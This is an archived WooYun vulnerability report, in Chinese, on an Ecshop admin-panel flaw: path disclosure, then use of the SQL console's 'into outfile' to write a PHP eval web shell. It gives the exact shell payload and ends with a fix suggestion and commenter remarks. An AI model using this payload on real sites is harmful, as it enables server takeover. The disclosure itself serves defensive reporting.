当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024727

漏洞标题：Ecshop后台getshell漏洞

相关厂商：ShopEx

漏洞作者： VIP

提交时间：2013-05-29 14:39

修复时间：2013-07-13 14:40

公开时间：2013-07-13 14:40

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-29： 细节已通知厂商并且等待厂商处理中
2013-05-29： 厂商已经确认，细节仅向厂商公开
2013-06-08： 细节向核心白帽子及相关领域专家公开
2013-06-18： 细节向普通白帽子公开
2013-06-28： 细节向实习白帽子公开
2013-07-13： 细节向公众公开

简要描述：

非模板

详细说明：

爆路径+sql命令执行=getshell
0x01.爆路径，得到物理路径

http://127.0.0.1/ecshop/languages/en_us/common.php


w01.jpg


0x02.后台sql语句执行处，into outfile写文件，配合上步得到的物理路径拿shell
在sql语句处输入：

select "<?php @eval($_POST['c']);?>" into outfile '物理路径//test.php';


w02.jpg


0x03.提交执行，接下来，mysql报错了

w03.jpg


0x04.再去看看，可爱的shell已经在那里了

w04.jpg

漏洞证明：

w04.jpg

修复方案：

最好不要提供Sql语句执行功能，如果要的话，也尽量像Discuz!一样，设置一个白名单，只允许执行白名单内的无害语句。

版权声明：转载请注明来源 VIP@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2013-05-29 20:23

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-29 14:51 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:89 | 一名普通的phper开发者，关注web安全。)

    非任意文件包含吗？？

  2. 2013-05-29 14:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    唉 条件太苛刻 估计木钱

  3. 2013-05-29 15:15 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:89 | 一名普通的phper开发者，关注web安全。)

    @xsser 后台注入有钱不？

  4. 2013-05-29 15:54 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    @xsser 有wb也不错

  5. 2013-05-29 16:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @齐迹 估计木有

  6. 2013-06-29 09:09 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    条件不好满足啊

  7. 2013-06-29 09:53 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    爆路径是两点，不然也写不了shell

  8. 2013-06-29 13:36 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:49 | 最爱红颜不老。)

    汗。后台GETSHEL的一大堆。这样也有WB